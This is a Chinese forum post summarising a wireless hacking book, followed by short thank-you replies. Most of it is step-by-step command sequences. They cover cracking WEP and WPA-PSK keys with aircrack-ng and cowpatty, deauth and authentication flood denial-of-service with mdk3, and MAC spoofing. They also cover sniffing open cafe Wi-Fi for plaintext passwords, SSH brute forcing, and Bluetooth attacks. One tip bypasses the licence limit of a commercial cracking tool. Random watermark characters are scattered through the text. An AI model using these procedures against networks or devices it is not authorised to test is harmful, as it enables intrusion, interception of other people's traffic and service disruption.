《无线黑客傻瓜书》读后总结

wrczeus

这本书看了一个星期，终于看完了，现把书上的精华总结成如下内容，条理化知识点。
( |; f( W1 r) o; U% Z
2 K6 B( g. R7 w) R2 J以下所有操作均在BackTrack 4中进行。
4 \9 S2 g* v0 ?, s3 p: {( E6 e% B
( a- `) p5 Q8 ]' V, T4 O0 j
. N/ S6 n% q0 \- s+ b+ W- {, F无线WEP加密P解：

注入P解：

6 U7 y& E7 B% V8 |3 fifconfig

ifconfig –a

2 n# {, p: `' ?+ b. a0 iifconfig wlan0(无线网卡) up

1 ~! ^7 _+ A; v2 k! g/ ~. U8 h- fairmon-ng start wlan0
5 U( ?) `0 X7 `: `7 u7 \+ I
airodump-ng mon0
+ B* N. o) H1 E9 Y1 j
3 ~8 W+ S- i1 Zairodump-ng --ivs –w ivsfile –c 频道 mon0或

airodump-ng --output-format ivs --ivs –w ivsfile –c 频道 mon0
+ z% S5 ]$ D4 \9 ]
aireplay-ng -3 –b BSSID –h Station mon0

aircrack-ng ivsfile-01.ivs
% A/ w. l8 y8 \( b* c( ^# y
虚连接P解（适用于无客户端连接APP解）
( `$ ^$ u2 ^$ U, a, {9 i# P
ifconfig
4 `  c; }$ ^9 @
ifconfig –a

, Z0 I' c. q% ~% lifconfig wlan0(无线网卡) up

- |8 E% ?! H# ]$ z, |+ `: |airmon-ng start wlan0

" Y/ }: d5 N: Wairodump-ng mon0
) L9 W! y' \2 f* I
2 l$ N$ m3 ?  \8 S, Yairodump-ng --ivs –w ivsfile –c 频道 mon0或
+ F( H0 V6 t. p0 L! P* n! M: ?
airodump-ng --output-format ivs --ivs –w ivsfile –c 频道 mon0
4 Y- a( X+ A* B# K% I: q9 H
8 z+ Y) ~) w/ d3 ^aireplay-ng -1 0 –e SSID –a BSSID –c Station mon0
' I) R+ a! o/ W7 l* u) u4 @% B
aireplay-ng -2 –p 0841 –c ffffffffffff –b BSSID –h 自己的MAC mon0

aircrack-ng ivsfile-01.ivs
5 B: F) d  i) {/ a4 r

还有傻瓜式P解软件SpoonWEP2，SpoonWEP2中的Chopchop和Fragment来进行无客户端P解，P解时客户端MAC栏留空。


) j! z, v% m) n& o" R4 g& pWPA-PSKP解

ifconfig
, F) |% v% J% L* B% r
  y. t9 ~9 ?' l: V8 b0 |ifconfig –a
! d' l& ~7 r0 f) l, e
5 `5 x+ t+ J! D% d4 b2 Bifconfig wlan0(无线网卡) up

' a/ A/ J% n# |; cairmon-ng start wlan0

& Q" \& \0 l) Xairodump-ng mon0
- P' ~* G2 C, E2 ?3 ]9 y
airodump-ng –w capfile –c 频道 mon0
  J  ]& W- E/ u7 r1 A9 S) h8 ]; D
aireplay-ng -0 10 –a BSSID –c Station mon0 //Deauth洪水攻击使合法客户端掉线捕获其与AP连接时的握手数据包
( T, N! ^9 B6 L+ g
- u2 s- k; z' f) W! {aircrack-ng –w Dic capfile-01.cap或

+ l) ~- V/ Y2 Dcowpatty –f Dic –r capfile-01.cap –s SSID

1 \1 n5 T% ]* }7 L& F2 C* Pcowpatty –d HashTable.Hash –r capfile-01.cap –s SSID
; l' w6 r% ^7 Y: b$ v7 y4 J1 a' Z5 N
傻瓜式P解软件SpoonWPA。
+ g% I/ D' F4 K
BT4下自带的字典文件：/pentest/passwords/wordlists/darkc0de.lst


8 @+ }  ]! {9 E9 X字典文件的生成和上传
' l* o' l7 k- o8 }/ U2 r
. ?* O: ?* P% f在windows下使用生日密码生成器和社会工程学密码生成器 等生成字典。然后在BT4下开启Tftp、SSH或使用U盘传输。

8 w8 z. {* q4 Z% Z
BT4下开启Tftp：Services—TFTPD—start TFTPD
! M' k: J5 L4 J. \: Q) W
在Windows的CMD中运行 tftp –i IP put **.dic
" Y) W) y2 C: y- n# L4 m
7 r3 y4 W" ^: {! M8 P1 Y. G
BT4下开启SSH：Services—SSH—start SSH
7 M  s- _) O! L' ~7 M  s
. M; t' [$ U+ T3 x* V# yWindows下使用CuteFTP新建连接:File--New—SFTP(SSH2)连接。使用BT4的root用户登录，前提是设置、修改密码：passwd root


AP限制MAC时的解决
. I/ U9 W8 L8 Z$ {, |
当AP限制IP连接时，可以伪造为合法用户的MAC，关于AP连接的用户以及MAC，可以使用airodump-ng mon0查看。在BT4下修改MAC的命令为：

ifconfig wlan0 hw ether NewMAC
3 U/ G4 t' z, R! P4 k: h, I

关闭SSID广播的AP探测：

4 w* s% c1 C8 }1.     Deauth攻击:
/ d! a! H* M1 d  ?; [# Y+ P
9 y0 J5 i4 ?5 f" B- sairodump-ng mon0
3 o3 I) z2 h6 N7 V: s4 c$ d
8 i" l8 ~# u6 u% C) w( R5 saireplay-ng -0 10 –a BSSID –h Station mon0

2.     抓包分析
# U7 g( R+ [& S
/ s6 p; B& f0 N7 [Omnipeek
# B- |+ d( V* D0 Q% O
2 l) |* K2 o$ X& }3 uTcpdump –n –e –vvv –i 网卡名
1 o, [! k  E1 Z. ^
1 N0 J6 B" n+ ]4 G0 \! N, e3.     暴力P解
9 g" y; O) `+ p# k. a3 A
Charon 1.1暴力P解
  m  G6 d- R3 V0 [
' z" J+ v# Y" s. Z  I- Y7 |& q
无线加密数据包的解密
$ }0 a/ h% v, P9 d& k, D
- F% z4 }7 v+ f) m: G# N* f5 q7 a. \
使用airodump-ng –w capfile –c 频道 mon0 捕获数据包并P解AP的密码 ，使用Cain的Cracker项在802.11Capturea导入解密。解密完后的数据包用Wireshark打开即可分析。
" E# t8 e9 B: ^8 }' w# g0 |
4 u) e* L. C5 o* F$ @" X& yFilterNS     DNS解析数据包
. F8 C) V4 b- K1 h
Filter:HTTP    WEB访问数据包

' n2 F3 O6 M+ S% SFilter:msnms   MSN
/ \3 ^5 K7 c+ F& l" G/ m! F* M
Ctrl+F查找pass可以寻找一些明文的密码，如论坛等使用非SSL连接的账号。

使用airdecap-ng解密：

$ F# c! \2 e) [3 D6 q: d6 JAirdecap-ng –b BSSID –e SSID –w 密码 ***.cap


* e2 A- N/ y  O: A- f9 H- h  D! ?咖啡馆中无线数据截取(开放式无加密AP)

1.Airodump-ng –w data –c频道 mon0
7 s8 R8 }2 `( W" }! r0 v4 R
2.使用WireShark打开分析
3 J4 W( @( B$ [# T

# D+ m5 f4 ~; \; b3 g) sBT4下的渗透工具：
- V7 S; d$ V; g6 {
  u' d' ~2 `7 o2 y7 Fnmap –sP IP/24        判断C段下存活的主机

: l! b! W2 y. r: d$ e+ Tnmap –vv –sS IP/24 –p Port    扫描指定端口是否开放
# }0 J: e# f8 J% }4 H
nmap –vv –sV IP –p port   指定端口的详细信息。。。

! ]( c; t& j& H. }namp –O IP/24    判断主机的系统版本
. E( c' p9 {. [/ H, z- Z2 C; h

) S) h2 m7 G$ FGUI 版nmap：Zenmap


# e, B2 e1 p% Q( k& DAmap使用：amap –B IP port
6 k& R" X% J) z
Nbtscan(扫描Windows网络NetBios信息)：
# F* V: E- k- P  W  r) W
0 f3 T) k9 h2 J3 ?: |/ g1 jnbtscan –v –s : IP/24

nbtscan –r IP
1 Y9 l- |# @$ H- s
7 r* j4 I: q( J9 k9 V& p2 G
DNSWalk(指定域名的DNS探测):./dnswalk XXX.com.
$ X2 ^; }+ d% {9 n- u, A
# t! n9 ]# {7 p+ r1 {& w
HydraP解工具（backtrack—Privilege Escalation—PasswordAttacks—OnlineAttacks）
9 s  x+ [: A. P- O
BruteSSH: ./bruthe.py –h IP –u Username –d Dic

Metasploit3使用
5 i, g" z5 W" z无线D.0.S
. C- o/ `6 U1 A6 Q- m
- z8 T9 \3 L6 O+ W
7 h0 Q0 p# S/ @& ]Auth Flood 攻击（Authentication Flood Attack，身份验证洪水攻击）
! _9 c" Y9 j1 J/ M
airmon-ng start wlan0

airodump-ng mon0

mdk3 mon0 a –a BSSID
; a  i& Z+ G) F/ `
对所有的AP攻击：mdk3 mon0 a
* E. a& x/ D& ^( Y  _' _8 ^2 r

* x  c' a7 u, a4 b0 Y+ eDeauth Flood 攻击

mdk3 mon0 d –c Channel

图形化D.O.S攻击：Charon


0 U- y4 G+ f% J- e4 c当受到攻击时，使用Wireshark抓包可以看到异常信息。
* g4 R" Y3 G0 N& u( b/ z

3 R' ~1 F9 G$ q* uWPA-PSK高速P解
* A1 L4 g; j3 `% M. @
6 m& i2 _2 x3 j0 Y+ U1.       WPA-PSK PMK Hash TablesP解
+ X0 I* T$ o9 T# m: b
Cowpatty –d HashTable.hash –r ***.cap –s SSID

Hash Tables的制作: genpmk –f Dic –d SaveHash –s SSID
8 y, [6 B$ m0 Q# K$ X/ _- M  m
" L7 k  R! i0 [" x# D5 ^3 R$ }/ Q2.       GPU辅助高速P解
+ |0 b6 D# F) K- c+ u, g& a; |
使用EWSA(Elcomsoft Wireless Security Auditor,无线安全审计工具)导入WPA握手数据包P解，未注册版P解后密码只显示2位，但是可以使用WinHex查看（ALT+F9）ewsa进程的内存，搜索 密码的前两位。就可以看到完整密码。

: \3 T7 R' K% v: T; @; g2 u: t3.       分布式P解
( E4 L  a: x! {1 c) g9 h8 T1 W
# m1 T( p% {5 z9 [
AP的伪造
% w" b0 Y/ ?) V8 O0 R
把AP的MAC改成目标AP的MAC
) Z2 F( V/ x; f, ?- `
网卡软AP

/ v1 h& n( O. H  ?: K% `( B$ Z
伪造大量虚假AP信号：

随机SSID：mdk3 mon0 b –g –c 频道

/ ?  T% p/ e; A( f% L指定SSID：mdk3 mon0 b –g –c 频道 –n SSID –s 速度


9 w- z" y( i- A5 d7 d; G) EWar-Driving
, h  \; t! q; a0 A  K+ u
/ P; d" W" i4 X8 @热点地图绘制
. a  F- H) P( y! X; s0 r6 q
& w: c" A9 q& hWindows Mobile系统智能手机配合GPS模块，使用WIFifofum探测，把结果导出为kml(Google Earth可识别格式)，在Google Earth中打开即可完成热点地图绘制。


Netstumble

, v4 D: t7 y( f0 h/ i+ q) ^, s1 ?9 y2 L
蓝牙Hacking

, \/ Z- {9 u' EWindows下的Blue Soleil工具

BT4：

hciconfig 查看蓝牙适配器

hciconfig hci0 up 载入蓝牙适配器
! B2 d( K- c; x  b# C0 ~0 U
hciconfig hci0 class 蓝牙适配器详细信息


* R* Q2 i) z* z1 ]hcitool（扫描蓝牙）

hcitool –i hci0 scan

$ G3 v  @. w- R5 w' @$ I" a9 \BTscanner(扫描蓝牙)

- D4 m+ s& j2 ^1 e2 }) j% a
蓝牙攻击：

2 {. l  u. M5 G  }* z" tBlueBugging (适用于BlueTooth V1.1的手机)
& R; I6 C. n  X
Bluebugger工具：

Bulebugger –a HD_Addr info


BlueJacking

* n7 a- f" U* Y& n实现方法：使用手机伪造假的名片，里面写上消息内容然后发送。
$ D' F3 g/ s7 ~. n4 i
. t& R% r3 y; a; a
# F& ?+ s; _0 S3 A) OHD_Addr修改：

+ ~1 f/ ?0 y9 s+ T% s5 x; A( z5 JBdaddr工具

bdaddr –i 蓝牙设备名 新HD_addr
) |1 @  v. L' v
" ?# @  Q0 N: Y; E. i1 a
蓝牙D.O.S

7 H% e; u  c) s1 }& k# r8 G! pl2ping工具(蓝牙连通性测试工具)，改变其发包数据包大小，使目标设备拒绝服务
' G" M! a( c" L8 G+ R( K
hciconfig
  g) P4 \5 j& }+ k$ r! P' o
& L9 S# r$ u. ~* }1 p4 ehciconfig hci0 up
. m' V. o2 e* G6 L$ T4 F# x
hcitool –i hci0 scan

l2ping –s 10000 –目标MAC


不可见状态的蓝牙通过RedFang暴力P解（暴力尝试所有的HD_Addr）（概念性的软件）

./fang –r ************-############ -s
8 k8 \9 C' d# Z9 i& _
; h7 Z! S( N! s5 d, }- y/ f  z暴力P解************-############的蓝牙设备
: V. ^; W3 ?3 |
8 C) I4 s1 B1 |% I9 ^0 v./fang –l 各厂商BD_Addr分配

4 [! h4 d  H/ `  i, T4 H/ \
$ H- n0 s/ H2 y' MWifiZoo使用

) U9 i0 S+ y3 t; u7 j9 _./wifizoo.py –c Capfile
( q# K$ Y% ~: t* i: J  O3 D% H- u
* ^3 N2 ^  i% `( K6 Y访问127.0.0.1:8000即可登录Wifizoo管理页面，查看数据包分析的详情

tlwxs

传说中的沙发？

yuanbin0710

我还正在学习中，先收藏。

wo2rikku

总结的很好~谢谢分享

天鹅爸爸

分享成功的经验

yggdrasil2008

呵 ....正在努力学习当中....

donglianjun

Exellent digest

neglinhai

谢谢看了！

na2650945

谁有电子的。
借来看看。

applehdh

LS的 估计不可能的 会被管理员和谐的
! K0 f& x( N- c: k呵呵 其实也不贵 21块 快递再一点
2 H; b" z( i+ t- a1 @, K我们也支持一下超级版主这么多年对我们的解答哈

实习魔法师

回复有理，顶贴无罪

tuilly

顶起~~~~~~~~~